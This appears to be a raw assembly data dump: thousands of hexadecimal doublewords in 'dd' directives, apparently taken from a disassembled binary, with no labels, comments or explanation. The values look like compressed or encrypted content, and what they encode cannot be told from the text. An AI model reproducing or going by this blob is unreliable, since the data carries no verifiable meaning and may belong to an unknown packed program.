dd 0D7A5C5F1h, 0D9EB5AE4h, 0C69EFC7Fh, 0B1530230h, 22C18262h dd 717FE405h, 0F600B6E2h, 29D9B93Bh, 5414696Dh, 0EEB780Eh dd 2A738736h, 9C8F8Ah, 0D695EFF4h, 57003343h, 0E88B60F9h dd 3DC0DC73h, 0C2800516h, 0C849D068h, 3A1258C4h, 0B0D05AEDh dd 1CE4B935h, 40556FECh, 73B388E5h, 9B004359h, 0A353FC8Eh dd 0E666EAA2h, 0C43A01DDh, 571CE330h, 8BF84085h, 0E7034508h dd 16B97E9Fh, 0F3213FA0h, 0FC2CBA80h, 4495C535h, 0EB9EAC00h dd 0CF432165h, 5FC70672h, 80170C45h, 9D327F07h, 0A91847h dd 67642BDCh, 7BE826h, 30919E24h, 84B41286h, 0D41AA31Eh dd 92F9CA40h, 1540019Ah, 9435C762h, 0DF500809h, 0D529C8C0h dd 12AA03Fh, 2CA5466Bh, 0CF20D95Ah, 0C9AB0204h, 97C2E7B3h dd 9056C087h, 2FB51AEAh, 2A604CE6h, 9C4A7719h, 58340068h dd 355246F8h, 0BE000803h dd 9918B3A3h, 0EC53DF29h, 0D06F02E6h, 99662CFh, 0FF300070h dd 0C8C1D28Fh, 7CEF5C4Dh, 10A8FA00h, 76A1E28Eh, 0E4AF7E16h dd 0F1425406h, 17739896h, 0BA7136h, 3160863Eh, 0E8B4796Ah dd 0EC0CC7C0h, 63E200A8h, 0EA43231Ah, 7D18757Fh, 4150AFAEh dd 0C29700EFh, 0E18FA91Fh, 48C93C1Ch, 0FC2E01D2h, 0FD307F72h dd 9A9F00FDh, 7DC0068Fh, 260115B8h, 6B1302E5h, 0DEFC458Ch dd 0B7F0E385h, 37A50384h, 3AC366D5h, 0C43486F0h, 0ADD29E07h dd 41C06FA0h, 0C1D396h, 1614CA54h, 2BF60D28h, 920049FAh dd 3A4FFB5Ch, 0E66F755Bh, 8C580077h, 4084C788h, 900A733Dh dd 0A048A67Ah, 2AFF4100h, 0DD5CBDh, 0C37BDC49h, 0A696F865h dd 0B1138103h, 0F033A188h, 6E1D71h, 5B3D4DE4h, 2F5E6F05h dd 7C8D2200h, 93AA3F10h, 0E3DA2C24h, 7673001Dh, 9C9F87F2h dd 400F7F07h, 80099B90h, 0E212D1ABh, 0C37A003Fh, 7DF06133h dd 0CB3904B1h, 0D6598019h, 4EA809C4h, 79BC002Fh, 0CE98C797h dd 0AE4DF4DDh, 14E32D04h, 20C3180Ch, 6B3D11AAh, 0D8AFFA02h dd 68A97870h, 0B6EA3C8Ch, 0BD350BC4h, 0DEB18480h, 0A35854FFh dd 0E12FC050h, 3BD82A7h, 0C19FF306h, 0B1E5044Dh, 70CFE3ECh dd 0A8D4AB42h, 0E27B400h, 1181841Ch, 435C007Eh, 360812FEh dd 9E000472h, 0BD1F8D9Ah, 2623AC7Bh, 80C8EBE5h, 1027BF11h dd 4500A132h, 70DE4F16h, 135E5F6Ch, 4914A5EEh, 8000991Ch dd 2DB671CBh, 0DFA4E700h, 0FCC2D228h, 0E3B00045h, 0EA56604h dd 79037E35h, 0D652AC1Ch, 0F9CCC72Dh, 64A701F9h, 4F0ABC82h dd 3B91C4DFh, 65CEA4A1h, 20CCC66Ch, 0D95CB10Bh, 3601469h dd 0D1DDA073h, 0DEC0424Eh, 0D209C037h, 87F8FD61h, 9C10F3CCh dd 39C456E9h, 1D1281EAh, 8AD44291h, 8872B36Ah, 0C09F110Eh dd 0E434B8h, 0E7C6CE2Ah, 9A191049h, 0AAAB24BCh, 8CAE0955h dd 23DAE0A0h, 0DD0EBCD6h, 0E0E77B3Fh, 0D55EEE40h, 8EE400BAh dd 64BD8DC5h, 8032C0F9h, 609EC0FDh, 3B370C9Dh, 59802703h dd 0D64BA596h, 0E00D7F6h, 31A717DEh, 0B12B152Ch, 498697Ch dd 0F612AD82h, 32119303h, 1D6E0094h, 0C1D785DAh, 0EAEE1DE1h dd 0B94C00Fh, 75ADFD43h, 0FCA0420Eh, 6A1D6060h, 0F6DC17EAh dd 384A7B38h, 80D8CEE8h, 552AB08Fh, 206A649Ch, 568890h dd 9CA53ABEh, 0CAC25FE6h, 50D78629h, 68C1163Dh, 64765430h dd 54FEFAF0h, 66DA0D9h, 0C87F01C2h, 0EE73E829h, 0E9CBFC0Ah dd 2D8890h, 0F0A2144Ch, 0B37AADh, 440A4D92h, 0E4DDF1C4h dd 4360A400h, 7403C665h, 783A0493h, 0C1AF9BBDh, 0C6AC5BFCh dd 0A488B0C5h, 444949F5h, 0D06CD8h, 25DCA174h, 4BBED4h dd 1F73EA34h, 9C61A59Fh, 2AF51C00h, 604F2606h, 6B8300ACh dd 56D7ECA2h, 0E126FCFEh, 0E8F5495h, 328E22BBh, 1305416h dd 33A84B11h, 0C5986012h, 7D13F20Ch, 377110Ah, 17F32CD9h dd 0A98136ADh, 1B8505Fh, 0B90196F5h, 0F7F81307h, 0A0537393h dd 0A4EED0BEh, 6B8D0234h, 143F6528h, 0C0A0A44Bh, 0F0088B2h dd 32F39E33h, 0EB3D69B0h, 1FF4CE0h, 2E77E8ACh, 61F9F259h dd 0BE20407Dh, 0E301A96Dh, 0DE645741h, 3BC0D30Ch, 20750F84h dd 3F80A45Bh, 3DFF60CEh, 6F63EC0Bh, 67F8605Ch, 93C9072h dd 0CF830C18h, 0D450E870h, 75070B94h, 207DECEDh, 3E9F0DC1h dd 0A2F430h, 0B425A888h, 0D7605145h, 0AF4E920Eh, 2ED42F6Dh dd 7E412162h, 3874C2A5h, 25A100FFh, 0FBC19419h, 0E02CB344h dd 0F100C01Ch, 12D909DCh, 0CAC40022h, 27DB3C36h, 14240672h dd 0AF033064h, 0F885494Dh, 0A4682Ch, 0C08412E9h, 0DB9EF405h dd 0BED62000h, 3861B7FAh, 3C500096h, 5D718359h, 8F1F5779h dd 0AC40977Bh, 47E9AF98h, 9F7302D2h, 4E0D6410h, 0AC49476h dd 0C4D118C0h, 0DA8C05C6h, 90DE53E5h, 2D9D7008h, 4174BB00h dd 7942568Eh, 0EEAF0469h, 0FC44802Ah, 0FB151764h, 7C71DC20h dd 0DD6F00E7h, 0E698BAD0h, 100D6F1h, 8DB4F2Eh, 1FEEB4AEh dd 0F2264Eh, 675B18Ah, 2D007B32h, 0F82446D1h, 26EAA950h dd 2660C79h, 0B2190E97h, 0DB4759E0h, 7506A500h, 6ADF8257h dd 22F832h, 0C9B729FCh, 7A87E2CAh, 7336FA0Bh, 1D242005h dd 9AD7CBFh, 80AE7E92h, 2FE64C20h, 5806C9CBh, 8B4F47B2h dd 24C67016h, 9CB4455Eh, 0C702BFDFh, 0ECB0D5A1h, 9944A840h dd 0CA08D804h, 0F9C0071Ch, 0A265E1h, 2468CEDAh, 0EA745675h dd 0DE80109h, 7A9022AEh, 9C2C596Ah, 0B70BC74Fh, 0C79CF03Ah dd 8B0E2DF3h, 60C16C16h, 1B64D5A8h, 0EFB51E69h, 0F4D38138h dd 8F129555h, 38F8C448h, 13BC67C9h, 0C11E3FFBh, 0F02EDDB4h dd 702EF6B7h, 8B0021BAh, 174D759h, 0EB0F30DAh, 0CF910739h dd 5FFE7671h, 4F1F2800h, 146DDF34h, 0A98000D5h, 0A0279817h dd 0CF3D4002h, 6F25838Ch, 26DBF190h, 760A648h, 8992D37Eh dd 0FE2CC86Ch, 3E900C23h, 4080B73Bh, 356FF6C1h, 6A1271F3h dd 8C055C7h, 72D902E1h, 0E0577C1Bh, 60C4B1D5h, 201E2768h dd 93630A1Ch, 61B61009h, 0CC331920h, 0E0ECCE1Fh, 0DD0F0DE4h dd 4A36A616h, 0B787BCF8h, 43E459B2h, 0F820E8B5h, 715DB893h dd 58993B67h, 0B12DEE04h, 30709050h, 0BE2D69D3h, 98308035h dd 0F1A32AEBh, 5015CC48h, 3239052h, 944DABEFh, 80F891E6h dd 32014C3Ah, 5F998473h, 7C4C1B9Eh, 72413039h, 0F0B305E9h dd 0AFE2A0Eh, 75E2C01Dh, 0B979D343h, 999FC74Ch, 0CF337022h dd 8E2E8485h, 9DA0150h, 0EBB6B047h, 0D3AA4183h, 7A88C1EAh dd 0F1718C16h, 6E0033FEh, 9C273E51h, 7CE11h, 3CEBB588h dd 40B3DF1Ah, 0A05E4D02h, 919FD630h, 0E02C7B3Ch, 0AAB6E1C0h dd 690003F8h, 0EF9DAB53h, 79BCB163h, 0E3EC2EA2h, 40891CD0h dd 0A681BB19h, 9418D71Dh, 0EF6818CFh, 25F40091h, 64FC3EB6h dd 14007AE2h, 0C2FD510Ah, 2C17BA7Fh, 14816A1h, 0EC836234h dd 100FEB79h, 45BE48E6h, 5081B788h, 86105318h, 80A87C47h dd 1F006890h, 300232B2h, 0B0445A1h, 70577D41h, 0DD424C22h dd 8B00A87Ch, 1EAB0BB6h, 0CA1309F8h, 24071CD3h, 0ACB1166h dd 9D01D872h, 32A3Dh, 6CF63409h, 5EE528h, 514252A8h, 6EBA84E1h dd 0D1A1E61Ch, 0EEB6043Fh, 0AD0E7Dh, 132C9C03h, 161FF31Eh dd 0F7CB382Fh, 0E860134Bh, 0FAFDDDBh, 90FC0CA3h, 0B880204Eh dd 0E48F604Bh, 35000AF8h, 56C43A08h, 18046B29h, 58174D1Ch dd 4B098FE0h, 80681F6Dh, 2F266EBFh, 7FE800ABh, 90A6C0C1h dd 0A001EC4h, 0FDB4566Dh, 34F8CFAh, 0DBA064A5h, 19D8D424h dd 0F43D8BCCh, 192801Ah, 7378423h, 53980121h, 0D87A1310h dd 774323Fh, 3C850AFFh, 4D34C01Eh, 0C62302h, 0CDFDE8E7h dd 0CBFB1606h, 700A5500h, 5CC98E5Ah, 5EE490h, 1EF49DB3h dd 535F569Fh, 0F1008D98h, 9EE95DF0h, 7B2924h, 679137A8h dd 4AAE692Ch, 120096E2h, 95D28A53h, 48642362h, 907088FEh dd 1A2A00C5h, 3949E070h, 653AFC56h, 81169E55h, 0A1361BC0h dd 0FB75708h, 0D638A683h, 0F859C760h, 7700E544h, 94022616h dd 9D962Eh, 6EB8FCEh, 32F98C61h, 5EF75900h, 2C0E4652h dd 2E721FFCh, 0C0ED9D6Bh, 0BB127A7Bh, 0B304DCEAh, 0E9905F9Ah dd 51D478A5h, 64D9007Ch, 0F616BFE4h, 4100B323h, 0DC07C7EDh dd 24251DC6h, 5C0356h, 915498E9h, 7E04FAF0h, 73A7E782h dd 90147091h, 0EB04E838h, 0A02C236Ch, 0E816BE70h, 0E840D146h dd 85A09063h dd 83182C4Ch, 22A400D4h, 0EDD565D6h, 0B67A8B01h, 2D041D7h dd 3355970h, 59B16F98h, 678162A0h, 0D5718876h, 0D9C8828Fh dd 87E2B17h, 0E078850Eh, 7A958A3Ah, 7558EE4Bh, 0F7970080h dd 57DF838Fh, 0DB018DCEh, 55384CE6h, 5C20697Bh, 0BCD2009Bh dd 6A8122F0h, 1D00C856h, 3CA82806h, 0FD5460Ch, 77265367h dd 80CE4B04h, 360BA4A4h, 660D0901h, 9EEBFD2Eh, 459BD0h dd 990CDE98h, 0A5013BAh, 80B82309h, 36C80046h, 0AD8C5Fh dd 0B65B4116h, 1AB7975Ch, 0C89CCB00h, 0EAB2E112h, 0A65200F9h dd 0B17210EFh, 5500213Eh, 0F73A743Fh, 0E1B716DEh, 0AB9BD4h dd 1C9E2D22h, 27A263ACh, 8013CF4h, 0B68EF585h, 58E4068Dh dd 112813D3h, 0E224F06Ah, 0A9A7E400h, 0C68A0212h, 0FF62003Fh dd 52DF5F58h, 0F4505196h, 0E67CEDB4h, 0C607EA00h, 0AC27091Eh dd 4325003Ah, 5E41558Fh, 61007571h, 4F2EEF5h, 3C13CE92h dd 3306B2F0h, 0C80CD0C4h, 6A29ED00h, 2B648954h, 1F7EA0Ah dd 507FB8C7h, 247E76BFh, 33009A18h, 34BA82B1h, 0C98498Ah dd 0E054ECEh, 2090A021h, 23073800h, 9B1AB1B5h, 69E1132Bh dd 0BEEC0FE5h, 0C779D940h, 0E201B8D2h, 7685300Eh, 68206C1Fh dd 57DE0249h, 0FC93E624h, 6130D040h, 4A5AF100h, 697A0F40h dd 962B0026h, 0B1460985h, 6709EB9Fh, 5C8737D0h, 7680094h dd 2888F741h, 0A7001571h, 0C431F646h, 24CCC55Eh, 4D08DFEh dd 8029BC91h, 3CED4E8Ch, 0AB6FB402h, 0E85143E5h, 0ADDF0h dd 2B688E45h, 391732BBh, 8F509600h, 0CFD312BFh, 659076Ah dd 0B2A58849h, 0D13FA6h, 4B2043DEh, 2B5DB460h, 8E3018F7h dd 3CE4B9A0h, 5075441Eh, 7FC813C2h, 7158D887h, 99EA001Ah dd 0DC19D055h, 3D00C5B6h, 79D752EBh, 0FFDA66Fh, 88F4AAE6h dd 18805EEBh, 4D108577h, 2F649200h, 4C4AB16Ch, 2DCD0088h dd 0FE8A367h, 8000C387h, 18CE0129h, 0BB2103h, 8F422439h dd 70604357h, 77007473h, 6D990FB2h, 52C109Fh, 0BB3C15D6h dd 8FC4AB02h, 71CE6480h, 0C25C00CAh, 0BCDBE881h, 820460A4h dd 686721D7h, 9801FCFCh, 0CDC65FF3h, 92DC64FFh, 1EFE411Ch dd 0C980F140h, 0BF68DC3h, 9D5A6E5h, 0CD78B0C8h, 10DA8C00h dd 85B034E4h, 0F65B3AB5h, 0B381F309h, 8C258481h, 38006E7Bh dd 0A098E161h, 71709066h, 7EE0C033h, 27D16E2h, 0FE6DB000h dd 155ECDBEh, 38EB71ADh, 0B180216Fh, 0D03FE854h, 0B900DEAAh dd 4D604EF4h, 34AE1A2h, 4CFE523Ah, 0DA8B73A9h, 51AC4FD0h dd 0C0D00A51h, 0B80097F4h, 0D57B1121h, 7DDA5A23h, 0E400091h dd 0B4572C85h, 57E8D3Fh, 0DFED100h, 0E8C903F3h, 5C300779h dd 707B2B20h, 32588AE7h, 0B1DB3D05h, 95848FFBh, 718BEC00h dd 5AA66124h, 36E08050h, 0E1019C60h, 0FCB77B19h, 0BE709AFAh dd 0BA15023Dh, 0A735172Ch, 7B00247Eh, 5C74576Bh, 0A8BE688h dd 6CAD23C6h, 0EA4000ECh, 94A07329h, 59151B00h, 0ABF91456h dd 0F98008Fh, 58404CF4h, 287C4D08h, 0BB5A2C00h, 50804E10h dd 65E8E794h, 4DF5000Ch, 56074941h, 0D074661h, 6FE6F7D9h dd 9FDC21FEh, 5470F6ABh, 17DFE11h, 6C0E1F0Fh, 2C2A4363h dd 90842730h, 0BBB9090h, 6A3C0CDDh, 0FC835680h, 961D1CDFh dd 0AA8085A2h, 3110998Eh, 937F0588h, 0CF998h, 41C466A7h dd 0B60053A5h, 571A2D12h, 725E9B2h, 0F8C128B5h, 0FCDE0161h dd 4CCC30EDh, 7C9C27B7h, 58BBB2A2h, 0FA4E7130h, 0D55400E5h dd 0E740FB4Ch, 2F030D5Eh, 8C3E8AF9h, 0A1280094h, 0BEA2B62Eh dd 0A400D310h, 0C091FB07h, 53FDD7Ch, 0EE0E069Eh, 63AC8114h dd 54C8F012h, 0CCF1BD03h, 88604CB0h, 1DB74B5h, 4E8311E2h dd 8E5DAE0Ah, 841E80C6h, 0E8F078EFh, 0CE6E17CBh, 0A94201D8h dd 20E5D13Ah, 0EC000A5Fh, 610CDAD3h, 0E69F1A4Eh, 0C7788Bh dd 0BCF6AAEAh, 0BAE7A7B7h, 0A848873Bh, 582EB8F9h, 721C1F39h dd 91A237C0h, 0BE53FEh, 0D86FE1ACh, 0F88FC3C7h, 0FAF5F0Fh dd 2FC1FD2Ch, 50B11F19h, 7CFC430h, 0EC59CD6Eh, 25F48186h dd 0B9D8308Ah, 3351E400h, 0A1027858h, 3FF70063h, 4353A64Dh dd 840FC564h, 0C5AFDCEDh, 0FC20470Ah, 0F735248h, 5F65CE70h dd 4597E40h, 9E00E9A4h, 0F1C9AE60h, 1A2916Ah, 0F813039Ch dd 706BFABEh, 9B30A780h, 4AB926F2h, 0AC0A0701h, 1E9C7FE9h dd 0B042EAE7h, 132D187Bh, 79BC0E0Bh, 0F8B3049Bh, 5A302C87h dd 5C9674ACh, 2A089099h, 9807EDF6h, 0FBA03D6Ah, 0ECDA5DAh dd 46757F5Ch, 0D41E8E60h, 4905BDDh, 55007071h, 6AF43408h dd 0C09211Ah, 61914380h, 2900A620h, 0BC3A7BBh, 4E32A9D8h dd 0E23C032Dh, 759B2A73h, 9D56C838h, 0D583E4E8h, 0EBBE1D66h dd 1481F40Ah, 4C6193F0h, 487150F0h, 0C702E85Eh, 0A5B95844h dd 0EBF87DC0h, 1C2C0901h, 84327D54h, 708F30h, 0B4121823h dd 0F15B0F4Ah, 0A611C70Eh, 301ED3C0h, 30F4A141h, 0B3708076h dd 20665995h, 874B4900h, 0A76B2BCCh, 0E50D6409h, 380D8E9h dd 26081DD7h, 44983BABh, 5CE6588Ch, 7EF39609h, 23308E6Bh dd 983BF9BAh, 0B23E0D05h, 0ABD11F1Ch, 85F466DFh, 0A062A34Eh dd 0BB16D788h, 0BCF489F7h, 9D8A00B0h, 3CA12A2Fh, 7B5D73BCh dd 0F60E3860h, 0C000064Eh, 65D4C598h, 82E8281Ch, 687413A4h dd 86AD0024h, 0DBFCBCEBh, 0B8CB48h, 8963CC42h, 9B11B4h dd 2E1CE00Eh, 6C5EEB5Ch, 810AF4Ch, 17EE6B14h, 0D83C0082h dd 0EC969E15h, 0ED889F00h, 64520BD7h, 32B84Ah, 5AAD4B62h dd 67D8C255h, 35E63800h, 2CAB7E49h, 0C8E40013h, 4685B8AAh dd 152FF6B0h, 5E48283h, 63FC56B7h, 0E1017D72h, 0EC036EF0h dd 0DC400C21h, 38A4150h, 0A948266Fh, 1F888FE8h, 2100C14Bh dd 0D1C230C9h, 0C20CA3B7h, 94B985B0h, 0DDB1B0A0h, 0E0F1A73h dd 4121D37Fh, 0BFB95192h, 4C300AC1h, 73240075h, 8F07F2A9h dd 1A248B1Eh, 7F0F8CEBh, 0EFBC2E1h, 0E4B10584h, 0C49C1F14h dd 0E99BED43h, 1180EAB8h, 0A3692C7Dh, 7300C523h, 0A2E52BB4h dd 0C716FABAh, 0A1126F70h, 0EE5063FFh, 21174059h, 0A6038400h dd 7AFBD55h, 533175DDh, 9A38C0A8h, 54001B4Ah, 0A794F563h dd 0BDCF780h, 4F13D2FDh, 25040B00h, 9D00B84Ch, 61C23964h dd 0DE995h, 0A97EBDB5h, 7069103Bh, 0C76DA100h, 13E23438h dd 0F82804BCh, 0FC1AC131h, 0CD2C05F4h, 89714B9h, 0A58402h dd 0BFC072B3h, 0D587CB09h, 1E0075D4h, 6B57D85Dh, 141A9007h dd 60CE2FA1h, 0BCD211BDh, 2DE95C66h, 6986A400h, 7F08201Ch dd 17F73A04h, 4916102h, 0BBE3E1EDh, 369080A3h, 88A1019Eh dd 9A8DADFFh, 7C6C11h, 0C374D224h, 51E83Ah, 3CFE4FD8h dd 2B1364EDh, 2373FD0Bh, 8034D11Ch, 6A55A2E0h, 77013A5Ah dd 0CDC37DFBh, 79875DFCh, 0B7F222DCh, 5F4A115Eh, 8C032BA3h dd 0C1124EE2h, 119E8DC0h, 0CFB1003Eh, 0AF663572h, 0D96AF700h dd 0E117A37Eh, 798E32B7h, 5EE2BB60h, 46F26078h, 0B773F1Fh dd 0FF2DC903h, 4C4801E4h, 0BC6F1FE3h, 0DA899F5Eh, 3830F19Dh dd 1D7D2375h, 32BED96h, 5EBB7194h, 568039D3h, 0AF00163Ah dd 0FD0FAE28h, 0ECFF5Ch, 6F144AD7h, 2BD2EB70h, 96B0426h dd 477BF900h, 765802CDh, 4C4E00DBh, 530C5E5Fh, 7101BA70h dd 65B57636h, 2AF4986Dh, 21961F22h, 37264EFCh, 307A540h dd 0F6007AF9h, 385BFEB0h, 2D52FD77h, 3B783C41h, 2156CF00h dd 0E41ACB7Dh, 6CC003DFh dd 58B8C8CEh, 6FC4D9C0h, 0A828D302h, 484E4253h, 11B26A0h dd 90BF453Eh, 0D0761840h, 529AC014h, 8E3D610Ah, 25801824h dd 0C02C4135h, 459013h, 93F1BF3Bh, 0E95EF974h, 65AEF02h dd 0C86F49B7h, 681EEF0h, 0D1B3BC2Ah, 50210B9h, 0F7563318h dd 0A4DB2559h, 0FF5522ACh, 735E20C0h, 1B378000h, 0C4D7E95Ch dd 0A31A0EFDh, 77A05D4Fh, 47931D82h, 2900DBEEh, 6F58161Bh dd 0A863E01Fh, 5A68E8h, 53DA2625h, 959D6B10h, 55825400h dd 2E6ED8BCh, 65D3F79h, 0E26F0C00h, 2BFFD6FCh, 0F048DA75h dd 6EA80546h, 95031BBAh, 0E856E370h, 7C312C77h, 23C81816h dd 265BB1F8h, 0AA58A000h, 8283AF37h, 23DD074Bh, 665377F2h dd 4A18288Fh, 49F91373h, 0F8464443h, 724C8C00h, 47E1BD42h dd 153BFEAAh, 940723B8h, 0C0378E1Dh, 145D8CCFh, 0E017943Fh dd 100039DEh, 0B7B46CDBh, 1EC3009Ch, 33B03A03h, 571DAC38h dd 53184F19h, 194DF08h, 0C2156F87h, 0D01EB48Ch, 0CC03BB79h dd 11B290B8h, 1B67E7C4h, 0FBE38C0h, 0C18D3EB7h, 7839907Ah dd 107C60EDh, 0CC898BC7h, 74918300h, 5C237D24h, 0BF75FCh dd 44B91FB0h, 86C30F6Fh, 0B7280DE4h, 0C907CE8Ch, 0C61BBF88h dd 0C1088F86h, 46C71A30h, 0D1C1F1B2h, 8DE0C26Fh, 740517BDh dd 7521BE92h, 47A6424h, 339583EFh, 4810002Ah, 6F91D4A5h dd 16175538h, 58186C54h, 7AECC29h, 0B035AADBh, 982DA13Ch dd 87C9F93Dh, 0DCA6EF21h, 3385B910h, 0B0FE0FD1h, 0B4E02CC8h dd 5A29E4A1h, 0E93558C0h, 0CB5C75h, 0F0887A59h, 315E1D77h dd 8818AF31h, 0B9ECADDCh, 0D21F0072h, 6E4B1569h, 281853B2h dd 0AD71F4D3h, 6F1E3010h, 0F9D4A648h, 0BB608C61h, 0E18C22E1h dd 50E95402h, 3AB83600h, 2834AB20h, 49C562D5h, 80AF3D0Ch dd 0C61FB100h, 6E00E06Bh, 3B0B8543h, 0B98C2Dh, 78E14A97h dd 203D0DB0h, 0D78D31C0h, 680DB06h, 69D9377Ah, 1152907Bh dd 0B8A87B6Ch, 0D402E14Bh, 553ACD35h, 0A44080ADh, 30A7Fh dd 9EDA70C9h, 0ACB978B5h, 526001F8h, 17056FC1h, 0F8D83372h dd 6130D058h, 0FD902163h, 38751816h, 5D459BAh, 577CEE00h dd 6D3D3E32h, 36F31DA6h, 0EC1B8283h, 988366E9h, 0A1047995h dd 94A518BDh, 7730CA4h, 0DD0A1277h, 0D4B0618Ch, 6C08985Ch dd 386F9921h, 20067D12h, 199F89FBh, 50D15318h, 31D699h dd 0B2719307h, 0A2C4D95Eh, 7428CFF8h, 0DE0CF0CCh, 2091D531h dd 0B93801BDh, 48AF53ABh, 750022C1h, 488D4944h, 18064C57h dd 0C070F1E4h, 0E6112F0Ah, 1A01BC58h, 98BBB9C3h, 4E83898Eh dd 6311E983h, 0FCF82078h, 1D1D3B22h, 416FA739h, 57D093A1h dd 3609989Ah, 9F5921h, 0CC582D6Fh, 6B2F3E73h, 55B9AE03h dd 1865355Eh, 31263CF1h, 0B3007CC5h, 27D09A5Ah, 0A2F15B8h dd 6101F7FBh, 0F9C28088h, 0A833F2B4h, 916C2C00h, 4CFC2FD6h dd 0D58400C6h, 0A5DD0EECh, 80A1C0BCh, 4F398F07h, 691E8CBBh dd 0BDE414A2h, 37018081h, 95773CA8h, 1091805Fh, 0B422C4AAh dd 1EBE2D7h, 351CA965h, 485F85D9h, 48CFE84h, 0A1AE6FA9h dd 272E62A3h, 26FD05Bh, 32305E05h, 0A3B3695Dh, 0C156FADCh dd 0D6B5A588h, 60B1A88Bh, 286A870h, 0D8761709h, 167818h dd 0EA170194h, 39596150h, 8D56F8A0h, 4CD07324h, 7280A011h dd 64DD0512h, 946A448Ch, 950E12EAh, 88D84777h, 0DEE98367h dd 88B8D7BBh, 5006D0Eh, 0E3FD463Eh, 0E097CC53h, 0BC471B9Ah dd 0ED831D7h, 0BE1459B5h, 8040A418h, 0DD091276h, 0C08C9184h dd 1126E98h, 0F91FA601h, 5211C3A3h, 8C3DF094h, 40CFD79h dd 0D8711704h, 663277F0h, 16FC8F20h, 0B86706A2h, 19580211h dd 0C17CD002h, 40A49D54h, 0EA3C611Ch, 8000996Bh, 0AB62EA46h dd 1000637Dh, 0E1364309h, 6014CD2h, 0D4BB8028h, 230E923h dd 5C355955h, 0ED1200A0h, 9F70AE78h, 230A5FCh, 49A2215Dh dd 487113h, 0D1817C1Ch, 7D06DC34h, 4A631A00h, 0F1DF12AFh dd 253700B4h, 0E404A97Ah, 3244F82h, 0AE60383Ch, 46A1B36Fh dd 2D22CBh, 3F6FA660h, 8675E44Bh, 94007492h, 11304891h dd 26CEC8A2h, 8B01959h, 14281AA6h, 871A146h, 6CDD0612h dd 95436DC4h, 80E4126Bh, 88EC40C7h, 0B1AF0F3Dh, 0F7A22163h dd 3C6F1E0h, 0ECDC89FDh, 5BF0CCB5h, 0D0023E0h, 0FE9F79A4h dd 185E6BA3h, 870ADDDh, 0A548DE11h, 0A7720585h, 0B4223CFDh dd 162D6141h, 0AE34D0h, 0DA85D68h, 95731CDDh, 53795A60h dd 2B2B576h, 41D8D1B9h, 884125CDh, 0A4C0BCDEh, 465E48BDh dd 4CC00267h, 48BC38AAh, 62EC10h, 3EC8DB05h, 0EFA29F27h dd 2FD3E401h, 0FC101D90h, 0A641F020h, 87FB0388h, 9A3C79F0h dd 30CD71F9h, 0FF0AC857h, 0F40DCBB8h, 0AD800291h, 0C3A1B26Fh dd 5F34448Ch, 9F6FA500h, 498C3297h, 0BA2A07DAh, 0D9D4A34Ch dd 0DBBB70A2h, 7905B064h, 3C7531D8h, 749D8847h, 0B09480F9h dd 261DD939h, 76F4CEA2h, 0E84E2F46h, 24A53CA2h, 0AA1CD4EAh dd 170B8121h, 0CE28D878h, 3960016h, 9A7F7317h, 418A1BAh dd 0DDC172E1h, 340E8919h, 44874104h, 0BF906065h, 58DE12D8h dd 42010167h, 6453B104h, 0F4885EE4h, 0F82000B3h, 0EA5729FBh dd 9CA3D97Dh, 18B4889Dh, 8120A249h, 0DD071274h, 106831D2h dd 1126C96h, 471158C6h, 32A16305h, 61D80518h, 0C8452DF1h dd 3481C788h, 9C005AFDh, 0CC91C815h, 0EF1867D1h, 627B307h dd 0A04A3DA7h, 0EA9E8EBCh, 0D007C07Ah, 1F00913h, 0B07981B4h dd 50A46342h, 4771314Ch, 0B094D480h, 0BC7CA824h, 99A02E62h dd 0B2388CC0h, 0EE025019h, 0E73FFF8Bh, 66EC4268h, 69A800ECh dd 83AE2EE9h, 6B0985E1h, 8305097Ch, 76095A4h, 10B707B9h dd 170A400Eh, 0EE1389F4h, 0A41D9CD8h, 1D77B009h, 8030114Ch dd 6B757694h, 0D494A0DFh, 44AD24DCh, 89F937Ch, 5C442AE4h dd 5DC67940h, 4000F129h, 0E98FC34Bh, 1680B4CCh, 3A3D5835h dd 6A23D0h, 89E9E6D4h, 3605CBC9h, 0B13878E5h, 207CA04Fh dd 3C2A4C14h, 8491C01Fh, 0E395DFC2h, 29CFEDB8h, 8715810Dh dd 0C2CC9936h, 78271470h, 7902AF8Ah, 6C5931DCh, 48E55442h dd 77606BE4h, 0AB0257C6h, 84B5DD60h, 989489CBh, 0E3638Ch dd 2AC13642h, 4BC9E25h, 73004498h, 37A27A51h, 905D95D9h dd 5E711360h, 62CC212Dh, 0AD9BC9Dh, 0E824ABB0h, 6F3C0108h dd 0A1B16FE1h, 0B02828BBh, 6FA45Eh, 1038A10Dh, 33175F0Fh dd 0D840BA02h, 402AD969h, 9182E958h, 182D7914h, 203C98C2h dd 0AF01688Dh, 16733CC7h, 0E42C6A54h, 0A8DBACC0h, 3D43A035h dd 0ED02C022h, 0BBBDDCA4h, 43851E0h, 165A1D4h, 73AE1139h dd 0CC19047h, 18BB646Dh, 579F638Ah, 345E8490h, 2014A556h dd 0C52439DCh, 93D1C82Bh, 234C3A15h, 0C53D0069h, 0B0F3205Dh dd 0D6148A75h, 6FCC6B4h, 24DCBBDFh, 0D92824C9h, 549B4FF8h dd 0FC69192Ch, 65006211h, 0D040E0B3h, 4200E6A6h, 0F1A6661h dd 6038D73Dh, 0B09B41B7h, 0C901F9DCh, 0A0FD6152h, 3CE86ED2h dd 1C993Dh, 7DDF8A77h, 11F03AFCh, 4E148BE6h, 24E0A45Ch dd 4674207Bh, 0E68A0E35h, 49EEC086h, 0A3C26CEh, 84D5DC4Bh dd 62FC02C4h, 82959A2h, 4C2CC064h, 0C8850835h, 0F0B23894h dd 0D331C2F2h, 68289D31h, 0FA3E009Eh, 0F655E82Ch, 8DA78B0Eh dd 0ED49601Dh, 17E13F7h, 549DE171h, 631F75FFh, 3067A2ACh dd 0E513F75Dh, 0EC040F4Bh dd 7C023759h, 9458FCB6h, 0BE7D4E12h, 708814CBh, 45F360C7h dd 1813D0B4h, 0E38025D8h, 18A5D831h, 70F4B006h, 0C004B9D8h dd 0AA16FE91h, 54474A04h, 0F4E4DE28h, 0A1FF05A5h, 38239ECh dd 1A4E2DD4h, 281320E6h, 3450D5D1h, 17023CCh, 35AEDBB2h dd 88C618D0h, 0DB00AAF3h, 13B5E561h, 24C4D7CCh, 4174D627h dd 24E61135h, 0C13A6D8h, 0F0D28091h, 0DBAB3069h, 9835A708h dd 0A3EC583Dh, 854ADC00h, 2573285Ch, 0F7BC0729h, 0D2434BDAh dd 59057835h, 6F23C43Ah, 0E9C5AC38h, 0CB497F00h, 943D7080h dd 71DD809Ch, 0AF927D9Dh, 0F404C47Eh, 251131D7h, 2A1028DAh dd 305E13ACh, 0CDDCE020h, 